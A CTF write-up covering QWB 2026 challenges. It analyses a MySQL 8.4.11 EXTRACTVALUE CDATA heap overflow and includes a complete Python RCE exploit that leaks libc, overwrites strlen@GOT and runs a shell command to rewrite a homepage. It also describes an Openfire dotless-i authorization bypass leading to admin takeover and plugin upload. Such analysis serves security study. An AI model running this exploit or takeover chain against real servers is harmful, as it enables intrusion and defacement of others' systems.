QWB 2026 mysql-shop && happycms && gitlab-org && magic Writeup

· Updated · 22 min read · 10934 words · CTF · QWB MySQL Openfire GitLab Solana

These are four challenges from QWB (Qiangwangbei) 2026. In mysql-shop, a low-privilege SQL query reaches an XML parsing bug and ultimately executes code. In happycms, Openfire applies two username comparison rules, allowing a separate account to obtain an administrator identity. In gitlab-org, KAS environment matching reaches a Ruby regex engine bug. In magic, an on-chain authorization bypass is combined with a referee that reads the wrong transaction.

Neither gitlab-org nor magic was demonstrated on stage. The sections below document analysis and local verification in the challenge environments.

mysql-shop

Approach

The supplied player account can only SELECT from sample_store.*. Ordinary SQL file export is not available, but EXTRACTVALUE accepts XML we control. Following its CDATA parser reveals that an unterminated section produces an invalid length and eventually overwrites an adjacent heap object.

The plan is to shape the heap with a long user-variable name containing NUL, use the corrupted object to leak a libc pointer and overwrite strlen@GOT, then trigger system through SELECT column metadata. The exploit uses MySQL on port 3306; HTTP is only used to check whether the shared homepage changed.

This chain needs the challenge’s low-privilege credentials and depends on the target’s SQL escaping, writable GOT, libc offsets, and metadata path; it is not a generic exploit for every MySQL installation. In the tested setup, MySQL 8.4.11 and Nginx share a site volume that the database container can write.

The available 8.4.0–8.4.11 tags retain the relevant branch, while the inspected 8.4.13 and 8.4.13.1 sources include a check; no public 8.4.12 tag was available to inspect. The 2006 change introduced the CDATA scanner, and the 2026 change added an error for an unterminated section. Version 8.4.0 is only the earliest affected 8.4 tag inspected, not necessarily the first affected MySQL release.

Root cause

Entry point and invalid XML length

Start at SELECT EXTRACTVALUE(...). Item_func_xml_extractvalue::val_str parses the XML argument and renders the XPath node set. If the parser fails to report an error, rendering continues with the invalid node.

MySQL 8.4.11, sql/item_xmlfunc.cc:2481-2497

String *Item_func_xml_extractvalue::val_str(String *str) {
  String *res;
  null_value = false;
  if (!nodeset_func && parse_xpath(args[1])) {
    assert(is_nullable());
    null_value = true;
    return nullptr;
  }

  tmp_value.set("", 0, collation.collation);
  if (!nodeset_func || !(res = args[0]->val_str(str)) ||
      !parse_xml(res, &pxml) || !(res = nodeset_func->val_str(&tmp_value))) {
    null_value = true;
    return nullptr;
  }
  return res;
}

The wrapper registers xml_value as a callback and passes the whole input to my_xml_parse. A successful parser return allows node rendering to continue.

MySQL 8.4.11, sql/item_xmlfunc.cc:2444-2479

static bool parse_xml(String *raw_xml, ParsedXML *parsed_xml_buf) {
  MY_XML_PARSER p;
  MY_XML_USER_DATA user_data;
  int rc;

  parsed_xml_buf->clear();

  /* Prepare XML parser */
  my_xml_parser_create(&p);
  p.flags = MY_XML_FLAG_RELATIVE_NAMES | MY_XML_FLAG_SKIP_TEXT_NORMALIZATION;
  user_data.level = 0;
  user_data.pxml = parsed_xml_buf;
  user_data.parent = 0;
  my_xml_set_enter_handler(&p, xml_enter);
  my_xml_set_value_handler(&p, xml_value);
  my_xml_set_leave_handler(&p, xml_leave);
  my_xml_set_user_data(&p, &user_data);

  /* Add root node */
  p.current_node_type = MY_XML_NODE_TAG;
  xml_enter(&p, raw_xml->ptr(), 0);

  /* Execute XML parser */
  if ((rc = my_xml_parse(&p, raw_xml->ptr(), raw_xml->length())) != MY_XML_OK) {
    char buf[128];
    snprintf(buf, sizeof(buf) - 1, "parse error at line %d pos %lu: %s",
             my_xml_error_lineno(&p) + 1,
             static_cast<ulong>(my_xml_error_pos(&p)) + 1,
             my_xml_error_string(&p));
    push_warning_printf(current_thd, Sql_condition::SL_WARNING, ER_WRONG_VALUE,
                        ER_THD(current_thd, ER_WRONG_VALUE), "XML", buf);
  }
  my_xml_parser_free(&p);

  return rc == MY_XML_OK;
}

The first issue is the CDATA terminator. The scanner starts with a.beg and a.end at the same position. If it never finds ]]>, a.end is not updated, but the token is still returned as MY_XML_CDATA.

MySQL 8.4.11, strings/xml.cc:164-185

  a->beg = p->cur;
  a->end = p->cur;

  if (!my_xml_parser_prefix_cmp(p, STRING_WITH_LEN("<!--"))) {
    for (; p->cur < p->end; p->cur++) {
      if (!my_xml_parser_prefix_cmp(p, STRING_WITH_LEN("-->"))) {
        p->cur += 3;
        break;
      }
    }
    a->end = p->cur;
    lex = MY_XML_COMMENT;
  } else if (!my_xml_parser_prefix_cmp(p, STRING_WITH_LEN("<![CDATA["))) {
    p->cur += 9;
    for (; p->cur < p->end - 2; p->cur++) {
      if (p->cur[0] == ']' && p->cur[1] == ']' && p->cur[2] == '>') {
        p->cur += 3;
        a->end = p->cur;
        break;
      }
    }
    lex = MY_XML_CDATA;

The parser then advances the beginning by nine bytes and moves the end back by three. The actual difference is -12, which becomes 2^64 - 12 when converted to a 64-bit size_t. The unterminated CDATA is not rejected before the callback.

MySQL 8.4.11, strings/xml.cc:335-350

  while (p->cur < p->end) {
    MY_XML_ATTR a;
    if (p->cur[0] == '<') {
      int lex;
      int question = 0;
      int exclam = 0;

      lex = my_xml_scan(p, &a);

      if (MY_XML_COMMENT == lex) continue;

      if (lex == MY_XML_CDATA) {
        a.beg += 9;
        a.end -= 3;
        my_xml_value(p, a.beg, (size_t)(a.end - a.beg));
        continue;

my_xml_value only invokes the registered callback. The callback stores the bad length as node beg/end pointers; it does not copy bytes yet.

MySQL 8.4.11, strings/xml.cc:221-223

static int my_xml_value(MY_XML_PARSER *st, const char *str, size_t len) {
  return (st->value) ? (st->value)(st, str, len) : MY_XML_OK;
}

MySQL 8.4.11, sql/item_xmlfunc.cc:2396-2407

int xml_value(MY_XML_PARSER *st, const char *attr, size_t len) {
  auto *data = reinterpret_cast<MY_XML_USER_DATA *>(st->user_data);
  MY_XML_NODE node;

  node.parent = data->parent;  // Set parent for the new text node to old parent
  node.level = data->level;
  node.type = MY_XML_NODE_TEXT;
  node.beg = attr;
  node.end = attr + len;
  data->pxml->push_back(node);
  return MY_XML_OK;
}

The overwrite happens during XPath rendering. The node length reaches String::append; on the target’s ASCII-compatible character-set path, m_length + arg_length wraps while memcpy still receives the huge length. In local debugging, the argument was 18446744073709551604, and the adjacent heap object was overwritten.

MySQL 8.4.11, sql/item_xmlfunc.cc:162-184

  String *val_str(String *str) override {
    XPathFilter res;
    val_nodeset(&res);
    ActiveNodes active(pxml.size(), false);
    for (auto &flt : res) {
      for (uint j = 0; j < pxml.size(); j++) {
        const MY_XML_NODE *node = &pxml[j];
        if (node->type == MY_XML_NODE_TEXT && node->parent == flt.num)
          active[j] = true;
      }
    }

    str->length(0);
    str->set_charset(collation.collation);
    for (uint i = 0; i < pxml.size(); i++) {
      if (active[i]) {
        const MY_XML_NODE *node = &pxml[i];
        if (str->length()) str->append(" ", 1, &my_charset_latin1);
        str->append(node->beg, node->end - node->beg);
      }
    }
    return str;
  }

MySQL 8.4.11, sql-common/sql_string.cc:435-457

bool String::append(const char *s, size_t arg_length) {
  if (!arg_length) return false;

  /*
    For an ASCII incompatible string, e.g. UCS-2, we need to convert
  */
  if (m_charset->mbminlen > 1) {
    const size_t add_length = arg_length * m_charset->mbmaxlen;
    uint dummy_errors;
    if (mem_realloc(m_length + add_length)) return true;
    m_length += copy_and_convert(m_ptr + m_length, add_length, m_charset, s,
                                 arg_length, &my_charset_latin1, &dummy_errors);
    return false;
  }

  /*
    For an ASCII compatible string we can just append.
  */
  if (mem_realloc_exp(m_length + arg_length)) return true;
  memcpy(m_ptr + m_length, s, arg_length);
  m_length += arg_length;
  return false;
}

Controlled object, leak, and write

The overwrite needs a useful adjacent object. The PoC uses a quoted user-variable name containing \0: the grammar accepts a text token after @, and the target’s @@sql_mode does not include NO_BACKSLASH_ESCAPES, so the lexer decodes \0 as NUL.

MySQL 8.4.11, sql/sql_yacc.yy:11456-11470

in_expression_user_variable_assignment:
          '@' ident_or_text SET_VAR expr
          {
            push_warning(YYTHD, Sql_condition::SL_WARNING,
                         ER_WARN_DEPRECATED_SYNTAX,
                         ER_THD(YYTHD, ER_WARN_DEPRECATED_USER_SET_EXPR));
            $$ = NEW_PTN PTI_variable_aux_set_var(@$, $2, $4);
          }
        ;

rvalue_system_or_user_variable:
          '@' ident_or_text
          {
            $$ = NEW_PTN PTI_user_variable(@$, $2);
          }

MySQL 8.4.11, sql/sql_lex.cc:1086-1103

          if (!(lip->m_thd->variables.sql_mode & MODE_NO_BACKSLASH_ESCAPES) &&
              *str == '\\' && str + 1 != end) {
            switch (*++str) {
              case 'n':
                *to++ = '\n';
                break;
              case 't':
                *to++ = '\t';
                break;
              case 'r':
                *to++ = '\r';
                break;
              case 'b':
                *to++ = '\b';
                break;
              case '0':
                *to++ = 0;  // Ascii null
                break;

The name check stops at NUL, but allocation still uses the full name.length(). The prefix therefore passes the check while the suffix controls the size of the user_var_entry allocation. This helps arrange the heap; it is not the cause of the out-of-bounds write.

MySQL 8.4.11, sql/table.cc:3783-3812

bool check_column_name(const Name_string &namestring) {
  size_t valid_length = 0;
  bool length_error = false;
  if (validate_string(system_charset_info, namestring.ptr(),
                      namestring.length(), &valid_length, &length_error)) {
    return true;
  }
  const char *name = namestring.ptr();
  // name length in symbols
  size_t name_length = 0;
  bool last_char_is_space = true;
  const char *name_end = name + namestring.length();
  const bool is_multibyte = use_mb(system_charset_info);

  while (*name) {
    last_char_is_space = my_isspace(system_charset_info, *name);
    if (is_multibyte) {
      const int len = my_ismbchar(system_charset_info, name, name_end);
      if (len) {
        name += len;
        name_length++;
        continue;
      }
    }
    name++;
    name_length++;
  }
  /* Error if empty or too long column name */
  return last_char_is_space || (name_length > NAME_CHAR_LEN);
}

MySQL 8.4.11, sql/item_func.cc:6079-6094

user_var_entry *user_var_entry::create(THD *thd, const Name_string &name,
                                       const CHARSET_INFO *cs) {
  if (check_column_name(name)) {
    my_error(ER_ILLEGAL_USER_VAR, MYF(0), name.ptr());
    return nullptr;
  }

  user_var_entry *entry;
  const size_t size =
      ALIGN_SIZE(sizeof(user_var_entry)) + (name.length() + 1) + extra_size;
  if (!(entry = (user_var_entry *)my_malloc(key_memory_user_var_entry, size,
                                            MYF(MY_WME | ME_FATALERROR))))
    return nullptr;
  entry->init(thd, name, cs);
  return entry;
}

The PoC changes the user_var_entry fields: m_ptr points to writable strlen@GOT, the length is set to 16, and m_owner points to usable zero-initialized lock storage in the target image. SELECT HEX(@victim) then reads a libc pointer from the GOT. This leak was observed in the VM.

MySQL 8.4.11, sql/item_func.h:3110-3136

  static const size_t extra_size = sizeof(double);
  char *m_ptr;         ///< Value
  size_t m_length;     ///< Value length
  Item_result m_type;  ///< Value type
  THD *m_owner;
  /**
    Set to the id of the most recent query that has used the variable.
    Used in binlogging: When set, there is no need to add a reference to this
    variable to the binlog. Imagine it is this:

        INSERT INTO t SELECT @a:=10, @a:=@a+1.

    Then we have a Item_func_get_user_var (because of the `@a+1`) so we
    think we have to write the value of `@a` to the binlog. But before that,
    we have a Item_func_set_user_var to create `@a` (`@a:=10`), in this we mark
    the variable as "already logged" so that it won't be logged
    by Item_func_get_user_var (because that's not necessary).
  */
  query_id_t m_used_query_id;

 public:
  user_var_entry() = default; /* Remove gcc warning */

  THD *owner_session() const { return m_owner; }

  Simple_cstring entry_name;  // Variable name
  DTCollation collation;      // Collation with attributes

For the write, the PoC assigns a 15-byte string. store passes a length of 16 to mem_realloc, matching the forged m_length, so reallocation is skipped and the bytes go directly to m_ptr. The first eight bytes contain the calculated system address; the next seven preserve the adjacent GOT pointer, and the final NUL replaces its already-zero high byte.

MySQL 8.4.11, sql/item_func.cc:6096-6112

bool user_var_entry::mem_realloc(size_t length) {
  if (length <= extra_size) {
    /* Enough space to store value in value struct */
    free_value();
    m_ptr = internal_buffer_ptr();
  } else {
    /* Allocate an external buffer */
    if (m_length != length) {
      if (m_ptr == internal_buffer_ptr()) m_ptr = nullptr;
      if (!(m_ptr = (char *)my_realloc(
                key_memory_user_var_entry_value, m_ptr, length,
                MYF(MY_ALLOW_ZERO_PTR | MY_WME | ME_FATALERROR))))
        return true;
    }
  }
  return false;
}

MySQL 8.4.11, sql/item_func.cc:6126-6149

bool user_var_entry::store(const void *from, size_t length, Item_result type) {
  assert_locked();

  // Store strings with end \0
  if (mem_realloc(length + (type == STRING_RESULT))) return true;
  if (type == STRING_RESULT) m_ptr[length] = 0;  // Store end \0

  // Avoid memcpy of a my_decimal object, use copy CTOR instead.
  if (type == DECIMAL_RESULT) {
    assert(length == sizeof(my_decimal));
    const my_decimal *dec = static_cast<const my_decimal *>(from);
    dec->sanity_check();
    new (m_ptr) my_decimal(*dec);
  } else if (length > 0) {
    memcpy(m_ptr, from, length);
  }

  m_length = length;
  m_type = type;

  set_used_query_id(current_thd->query_id);

  return false;
}

Command trigger and fix

One call remains. When sending SELECT metadata, MySQL calls strlen on the column name. This build uses the SELECT literal as field->col_name, which local GDB tracing confirmed. After the GOT overwrite, the column name printf 'pwned by Laboris' > /srv/www/index.html becomes the argument to system.

MySQL 8.4.11, sql/protocol_classic.cc:3179-3189

  if (has_client_capability(CLIENT_PROTOCOL_41)) {
    if (store_string(STRING_WITH_LEN("def"), cs) ||
        store_string(field->db_name, strlen(field->db_name), cs) ||
        store_string(field->table_name, strlen(field->table_name), cs) ||
        store_string(field->org_table_name, strlen(field->org_table_name),
                     cs) ||
        store_string(field->col_name, strlen(field->col_name), cs) ||
        store_string(field->org_col_name, strlen(field->org_col_name), cs) ||
        packet->mem_realloc(packet->length() + 12)) {
      send_metadata = false;
      return true;

The MySQL 8.4.13 source adds a separate unterminated-CDATA token and returns an XML error before the subtraction. These excerpts are from the inspected release tag; the same PoC was not run against 8.4.13.

MySQL 8.4.13, strings/xml.cc:179-193

  } else if (!my_xml_parser_prefix_cmp(p, STRING_WITH_LEN("<![CDATA["))) {
    p->cur += 9;
    for (; p->cur < p->end - 2; p->cur++) {
      if (p->cur[0] == ']' && p->cur[1] == ']' && p->cur[2] == '>') {
        p->cur += 3;
        a->end = p->cur;
        break;
      }
    }
    if (a->end == a->beg) {
      p->cur = p->end;
      a->end = p->cur;
      lex = MY_XML_CDATA_UNTERMINATED;
    } else
      lex = MY_XML_CDATA;

MySQL 8.4.13, strings/xml.cc:352-363

      if (MY_XML_COMMENT == lex) continue;

      if (lex == MY_XML_CDATA_UNTERMINATED) {
        sprintf(p->errstr, "unexpected END-OF-INPUT");
        return MY_XML_ERROR;
      }

      if (lex == MY_XML_CDATA) {
        a.beg += 9;
        a.end -= 3;
        my_xml_value(p, a.beg, (size_t)(a.end - a.beg));
        continue;

The fix needs to verify the closing delimiter and ensure end >= beg before calculating the length. I inspected the fixed source, but did not run the same PoC against 8.4.13.

Exploitation and verification

The test environment was the official MySQL 8.4.11 container with Oracle Linux 9 userland inside an x86-64 Debian 13.8 VM; the attacker client used Python 3.14.6 and PyMySQL 1.4.6. Actual SHOW GRANTS output gave USAGE ON *.* and SELECT ON sample_store.*; @@secure_file_priv was NULL, and @@sql_mode did not contain NO_BACKSLASH_ESCAPES. Ordinary SQL file export was therefore not the homepage-write route.

Save the script below as poc/exploit_mysql_shop.py, install PyMySQL, and provide the supplied player password with --password or MYSQL_SHOP_PASSWORD:

python3 poc/exploit_mysql_shop.py --password "$MYSQL_SHOP_PASSWORD"

The trigger uses the MySQL protocol, not HTTP. The script executes EXTRACTVALUE, reads and assigns the user variable, and sends the final SELECT. Its XML argument is b"P" * 352 + b"<![CDATA[" + forged_suffix(), deliberately without a CDATA terminator. The source and run output were preserved; the raw MySQL packets were not.

In a local control, eight grooming queries with closed CDATA completed normally. The malformed query then leaked libc in the matching local image, and a GDB hardware watchpoint recorded the GOT write. The first target attempt without grooming missed the heap layout; after eight grooming queries, the chain succeeded. The original homepage contained <h1>Sample store</h1>; an independent curl returned pwned by Laboris after exploitation:

attempt 1: heap grooming
libc=0x7fc03f45b000 system=0x7fc03f4aa520
verified http://192.168.100.123/: pwned by Laboris

The script changes the shared homepage, and a missed heap layout can restart mysqld. This output is from the target environment; 8.4.13 was only checked at the source level.

Complete Python PoC:

#!/usr/bin/env python3
"""MySQL 8.4.11 mysql-shop RCE, using only the supplied player SQL account.

Requires PyMySQL. The default target and password are read from the challenge
bundle; --password or MYSQL_SHOP_PASSWORD can override the latter.
"""

import argparse
import os
from pathlib import Path
import re
import struct
import time
from urllib.request import urlopen

import pymysql


GOT_STRLEN = 0x3C41488
STRLEN_LIBC_OFFSET = 0x16F7E0  # Resolved IFUNC in the supplied VM image/CPU.
SYSTEM_LIBC_OFFSET = 0x4F520
FAKE_OWNER = 0x4124E38  # LOCK_thd_data lands at zero-filled BSS 0x4126000.
PREFIX_LENGTH = 352
PAD_LENGTH = 359
NAME_TAIL = 269
WARMUP_FILLS = (0, 1, 2, 3, 4, 5, 3, 3)
HOME_TEXT = "pwned by Laboris"
HOME_COMMAND = "printf 'pwned by Laboris' > /srv/www/index.html"


def challenge_password() -> str:
    override = os.environ.get("MYSQL_SHOP_PASSWORD")
    if override:
        return override
    challenge = (Path(__file__).resolve().parent.parent / "timu.txt").read_text()
    match = re.search(r"player(密码([^)]+))", challenge)
    if not match:
        raise ValueError("player password not found in timu.txt")
    return match.group(1)


def connect(args):
    return pymysql.connect(
        host=args.host,
        port=args.port,
        user="player",
        password=args.password,
        database="sample_store",
        connect_timeout=5,
        read_timeout=15,
    )


def variable_name(marker: str, pad: str) -> str:
    # The SQL lexer turns \\0 into NUL. check_column_name stops at NUL, while
    # user_var_entry::create allocates according to the full decoded length.
    return "A\\0" + marker + pad * max(0, NAME_TAIL - len(marker))


def setup_heap(cursor, fill_count: int) -> str:
    for index in range(fill_count):
        name = variable_name(f"f{index:04x}", "C")
        cursor.execute("SELECT @'" + name + "':=1")
        cursor.fetchall()

    cursor.execute(f"SELECT @pad:=REPEAT('A',{PAD_LENGTH})")
    cursor.fetchall()
    victim = variable_name("0000", "B")
    cursor.execute("SELECT @'" + victim + "':=1")
    cursor.fetchall()
    cursor.execute("SELECT @pad:=NULL")
    cursor.fetchall()
    return victim


def warmup(args, fill_count: int):
    # This valid XML has the same 352-byte text allocation and similar input
    # length as the vulnerable query; the trailing comment adds no output.
    xml = b"P" * PREFIX_LENGTH + b"<![CDATA[Q]]><!--" + b"R" * 510 + b"-->"
    with connect(args) as connection:
        with connection.cursor() as cursor:
            victim = setup_heap(cursor, fill_count)
            cursor.execute("SELECT EXTRACTVALUE(%s, '/')", (xml,))
            cursor.fetchall()
            cursor.execute("SELECT @'" + victim + "'")
            cursor.fetchall()


def forged_suffix() -> bytes:
    # The unterminated CDATA length wraps to SIZE_MAX-11. The exact image's
    # AVX512 memcpy writes our first 256 suffix bytes from output+353 onward.
    suffix = bytearray(b"Q" * 512)
    fields = {
        7: 0x195,                    # Adjacent malloc chunk header.
        15: (0x4D2 << 32) | 0x1B,
        23: 0x168,
        31: 0, 39: 0,               # entry_name fields, unused by lookup.
        47: GOT_STRLEN,              # user_var_entry::m_ptr.
        55: 16,                      # m_length includes space for final NUL.
        63: 0,                       # STRING_RESULT.
        71: FAKE_OWNER,              # m_owner for the assignment lock.
        79: 0, 87: 0, 95: 0,
        103: 0x3E7ECC0,              # utf8mb4 collation pointer.
        111: (3 << 32) | 2,
        119: 0,
    }
    for offset, value in fields.items():
        struct.pack_into("<Q", suffix, offset, value)
    return bytes(suffix)


def exploit_once(args):
    xml = b"P" * PREFIX_LENGTH + b"<![CDATA[" + forged_suffix()
    with connect(args) as connection:
        with connection.cursor() as cursor:
            victim = setup_heap(cursor, 3)
            cursor.execute("SELECT EXTRACTVALUE(%s, '/')", (xml,))
            cursor.fetchall()

            cursor.execute("SELECT HEX(@'" + victim + "')")
            observed = cursor.fetchone()[0]
            if not isinstance(observed, str) or len(observed) != 32:
                raise RuntimeError(f"heap layout missed (variable={observed!r})")
            leaked = bytes.fromhex(observed)
            strlen_address = struct.unpack("<Q", leaked[:8])[0]
            libc_base = strlen_address - STRLEN_LIBC_OFFSET
            if libc_base <= 0 or libc_base & 0xFFF or leaked[15] != 0:
                raise RuntimeError(f"unexpected GOT contents: {observed}")
            system_address = libc_base + SYSTEM_LIBC_OFFSET
            print(f"libc={libc_base:#x} system={system_address:#x}", flush=True)

            # user_var_entry::mem_realloc skips realloc when its forged
            # m_length matches new length+1. Preserve the next GOT pointer's
            # low seven bytes; its high byte is already zero.
            overwrite = struct.pack("<Q", system_address) + leaked[8:15]
            cursor.execute("SELECT HEX(@'" + victim + "':=%s)", (overwrite,))
            cursor.fetchall()

            # send_field_metadata calls strlen(field_name). Our chosen literal
            # becomes system(command) after the GOT write.
            cursor.execute("SELECT %s", (HOME_COMMAND,))
            cursor.fetchall()


def homepage_matches(url: str) -> tuple[bool, str]:
    with urlopen(url, timeout=5) as response:
        body = response.read(4096).decode("utf-8", errors="replace")
    return body.strip() == HOME_TEXT, body


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--host", default="192.168.100.123")
    parser.add_argument("--port", type=int, default=3306)
    parser.add_argument("--url", default="http://192.168.100.123/")
    parser.add_argument("--password", default=None)
    parser.add_argument("--attempts", type=int, default=3)
    args = parser.parse_args()
    args.password = args.password or challenge_password()

    for attempt in range(1, args.attempts + 1):
        print(f"attempt {attempt}: heap grooming", flush=True)
        try:
            for fill in WARMUP_FILLS:
                warmup(args, fill)
            exploit_once(args)
            ok, body = homepage_matches(args.url)
            if ok:
                print(f"verified {args.url}: {body.strip()}", flush=True)
                return 0
            print(f"command sent; homepage currently {body[:120]!r}", flush=True)
        except (pymysql.MySQLError, OSError, RuntimeError) as exc:
            print(f"attempt {attempt} failed: {exc}", flush=True)
        if attempt < args.attempts:
            time.sleep(3)  # Allow docker-compose to restart a crashed DB.

    return 1


if __name__ == "__main__":
    raise SystemExit(main())

happycms

Approach

Start with Openfire’s XMPP registration and SASL authentication. Register admın, where ı is U+0131, the dotless i. The account store treats it as distinct from admin, but the default authorization policy compares them with Java’s equalsIgnoreCase and considers them equal.

Authenticate as admın using the password chosen at registration while requesting authorization as admin. Once the session is bound, change the real administrator password over XMPP, log in to the management console, and upload a plugin. In the test, the plugin rewrote the public homepage, and an unauthenticated request returned Hacked by Laboris.

The chain requires in-band registration, password changes, the default case-insensitive authorization policy, and plugin upload to be enabled, as well as an existing admin account. The test used Openfire 5.1.2, XMPP on port 5222, and the management console on port 9090. One complete successful run was retained; other deployments may not meet these conditions.

Root cause

The Java excerpts below were reconstructed with JADX 1.5.6 from the Openfire 5.1.2 and libidn 1.35 JARs on the VM. Line numbers refer to the decompiler output, not original source. Bytecode checks also confirmed the key calls. Start with registration: how can admın remain a separate user and later be treated as admin?

Anonymous registration of a distinct account

The registration handler defaults in-band registration and password changes to true unless overridden. A writable user provider is another prerequisite in this lab.

org/jivesoftware/openfire/handler/IQRegisterHandler.java (JADX reconstruction, 93–96):

        JiveGlobals.migrateProperty("register.inband");
        JiveGlobals.migrateProperty("register.password");
        registrationEnabled = JiveGlobals.getBooleanProperty("register.inband", true);
        canChangePassword = JiveGlobals.getBooleanProperty("register.password", true);

The XMPP jabber:iq:register set IQ reaches this handler. A missing session is rejected, but an unauthenticated connected session can still enter the set branch. These two excerpts are from one large function; its get query branch between them is omitted.

org/jivesoftware/openfire/handler/IQRegisterHandler.java (JADX reconstruction, 100–111):

    public IQ handleIQ(IQ packet) throws PacketException, UnauthorizedException {
        String username;
        User newUser;
        ClientSession session = this.sessionManager.getSession(packet.getFrom());
        IQ reply = null;
        if (session == null) {
            Log.warn("Error during registration. No session found for '{}'", packet.getFrom());
            IQ reply2 = IQ.createResultIQ(packet);
            reply2.setChildElement(packet.getChildElement().createCopy());
            reply2.setError(PacketError.Condition.internal_server_error);
            return reply2;
        }

org/jivesoftware/openfire/handler/IQRegisterHandler.java (JADX reconstruction, 149–298):

        } else if (IQ.Type.set.equals(packet.getType())) {
            try {
                Element iqElement = packet.getChildElement();
                if (iqElement.element("remove") == null) {
                    String password = null;
                    String email = null;
                    String name = null;
                    Element formElement = iqElement.element("x");
                    if (formElement != null) {
                        DataForm registrationForm = new DataForm(formElement);
                        List<String> values = registrationForm.getField("username").getValues();
                        username = !values.isEmpty() ? values.get(0) : " ";
                        FormField field2 = registrationForm.getField("password");
                        if (field2 != null) {
                            List<String> values2 = field2.getValues();
                            password = !values2.isEmpty() ? values2.get(0) : " ";
                        }
                        FormField field3 = registrationForm.getField("email");
                        if (field3 != null) {
                            List<String> values3 = field3.getValues();
                            email = !values3.isEmpty() ? values3.get(0) : " ";
                        }
                        FormField field4 = registrationForm.getField("name");
                        if (field4 != null) {
                            List<String> values4 = field4.getValues();
                            name = !values4.isEmpty() ? values4.get(0) : " ";
                        }
                    } else {
                        username = iqElement.elementText("username");
                        password = iqElement.elementText("password");
                        email = iqElement.elementText("email");
                        name = iqElement.elementText("name");
                    }
                    if (email != null && email.matches("\\s*")) {
                        email = null;
                    }
                    if (name != null && name.matches("\\s*")) {
                        name = null;
                    }
                    if (username != null) {
                        Stringprep.nodeprep(username);
                    }
                    if (session.isAuthenticated()) {
                        boolean onlyPassword = false;
                        if (iqElement.elements().size() == 2 && iqElement.element("username") != null && iqElement.element("password") != null) {
                            onlyPassword = true;
                        }
                        if (password != null && !canChangePassword) {
                            IQ reply3 = IQ.createResultIQ(packet);
                            reply3.setChildElement(packet.getChildElement().createCopy());
                            reply3.setError(PacketError.Condition.forbidden);
                            return reply3;
                        }
                        if (!onlyPassword && !registrationEnabled) {
                            IQ reply4 = IQ.createResultIQ(packet);
                            reply4.setChildElement(packet.getChildElement().createCopy());
                            reply4.setError(PacketError.Condition.forbidden);
                            return reply4;
                        }
                        User user2 = this.userManager.getUser(session.getUsername());
                        if (user2.getUsername().equalsIgnoreCase(username)) {
                            if (password != null && !password.trim().isEmpty()) {
                                user2.setPassword(password);
                            }
                            if (!onlyPassword) {
                                user2.setEmail(email);
                            }
                            newUser = user2;
                        } else {
                            if (password == null || password.trim().isEmpty()) {
                                IQ reply5 = IQ.createResultIQ(packet);
                                reply5.setChildElement(packet.getChildElement().createCopy());
                                reply5.setError(PacketError.Condition.not_acceptable);
                                return reply5;
                            }
                            newUser = this.userManager.createUser(username, password, null, email);
                        }
                    } else {
                        if (!registrationEnabled) {
                            IQ reply6 = IQ.createResultIQ(packet);
                            reply6.setChildElement(packet.getChildElement().createCopy());
                            reply6.setError(PacketError.Condition.forbidden);
                            return reply6;
                        }
                        if (password == null || password.trim().isEmpty()) {
                            IQ reply7 = IQ.createResultIQ(packet);
                            reply7.setChildElement(packet.getChildElement().createCopy());
                            reply7.setError(PacketError.Condition.not_acceptable);
                            return reply7;
                        }
                        newUser = this.userManager.createUser(username, password, name, email);
                    }
                    if (newUser != null && name != null && !name.equals(newUser.getName())) {
                        newUser.setName(name);
                    }
                    reply = IQ.createResultIQ(packet);
                } else if (!registrationEnabled) {
                    reply = IQ.createResultIQ(packet);
                    reply.setChildElement(packet.getChildElement().createCopy());
                    reply.setError(PacketError.Condition.forbidden);
                } else {
                    if (!session.isAuthenticated()) {
                        throw new UnauthorizedException();
                    }
                    User user3 = this.userManager.getUser(session.getUsername());
                    this.userManager.deleteUser(user3);
                    this.rosterManager.deleteRoster(session.getAddress());
                    GroupManager.getInstance().deleteUser(user3);
                    IQ reply8 = IQ.createResultIQ(packet);
                    session.process(reply8);
                    Thread.sleep(10L);
                    StreamError error = new StreamError(StreamError.Condition.not_authorized);
                    for (ClientSession sess : this.sessionManager.getSessions(XMPPServer.getInstance().createJID(user3.getUsername(), null))) {
                        sess.close(error);
                    }
                    reply = null;
                }
            } catch (IllegalArgumentException e2) {
                reply = IQ.createResultIQ(packet);
                reply.setChildElement(packet.getChildElement().createCopy());
                reply.setError(PacketError.Condition.not_acceptable);
                Log.warn(e2.getMessage(), e2);
            } catch (UnsupportedOperationException e3) {
                reply = IQ.createResultIQ(packet);
                reply.setChildElement(packet.getChildElement().createCopy());
                reply.setError(PacketError.Condition.not_allowed);
            } catch (UserAlreadyExistsException e4) {
                reply = IQ.createResultIQ(packet);
                reply.setChildElement(packet.getChildElement().createCopy());
                reply.setError(PacketError.Condition.conflict);
            } catch (UserNotFoundException e5) {
                reply = IQ.createResultIQ(packet);
                reply.setChildElement(packet.getChildElement().createCopy());
                reply.setError(PacketError.Condition.bad_request);
            } catch (StringprepException e6) {
                reply = IQ.createResultIQ(packet);
                reply.setChildElement(packet.getChildElement().createCopy());
                reply.setError(PacketError.Condition.jid_malformed);
            } catch (Exception e7) {
                reply = IQ.createResultIQ(packet);
                reply.setChildElement(packet.getChildElement().createCopy());
                reply.setError(PacketError.Condition.internal_server_error);
                Log.error(e7.getMessage(), e7);
            }
        }
        if (reply == null) {
            return null;
        }
        session.process(reply);
        return null;

The first request registers admın on an unauthenticated but connected session, using a password we choose. With in-band registration enabled, the handler calls createUser and returns success. After the later step binds an admin session, a password-only request reaches user2.setPassword(password) without the old administrator password. Password changes must also be enabled.

createUser runs the final account key through libidn nodeprep before passing it to the provider.

org/jivesoftware/openfire/user/UserManager.java (JADX reconstruction, 102–128):

    public User createUser(String username, String password, String name, String email) throws UserAlreadyExistsException {
        if (provider.isReadOnly()) {
            throw new UnsupportedOperationException("User provider is read-only.");
        }
        if (username == null || username.isEmpty()) {
            throw new IllegalArgumentException("Null or empty username.");
        }
        if (password == null || password.isEmpty()) {
            throw new IllegalArgumentException("Null or empty password.");
        }
        try {
            username = Stringprep.nodeprep(username);
            if (provider.isNameRequired() && (name == null || name.matches("\\s*"))) {
                throw new IllegalArgumentException("Invalid or empty name specified with provider that requires name. User: " + username + " Name: " + name);
            }
            if (provider.isEmailRequired() && !StringUtils.isValidEmailAddress(email)) {
                throw new IllegalArgumentException("Invalid or empty email address specified with provider that requires email address. User: " + username + " Email: " + email);
            }
            User user = provider.createUser(username, password, name, email);
            this.userCache.put(username, user);
            Map<String, Object> params = Collections.emptyMap();
            UserEventDispatcher.dispatchEvent(user, UserEventDispatcher.EventType.user_created, params);
            return user;
        } catch (StringprepException se) {
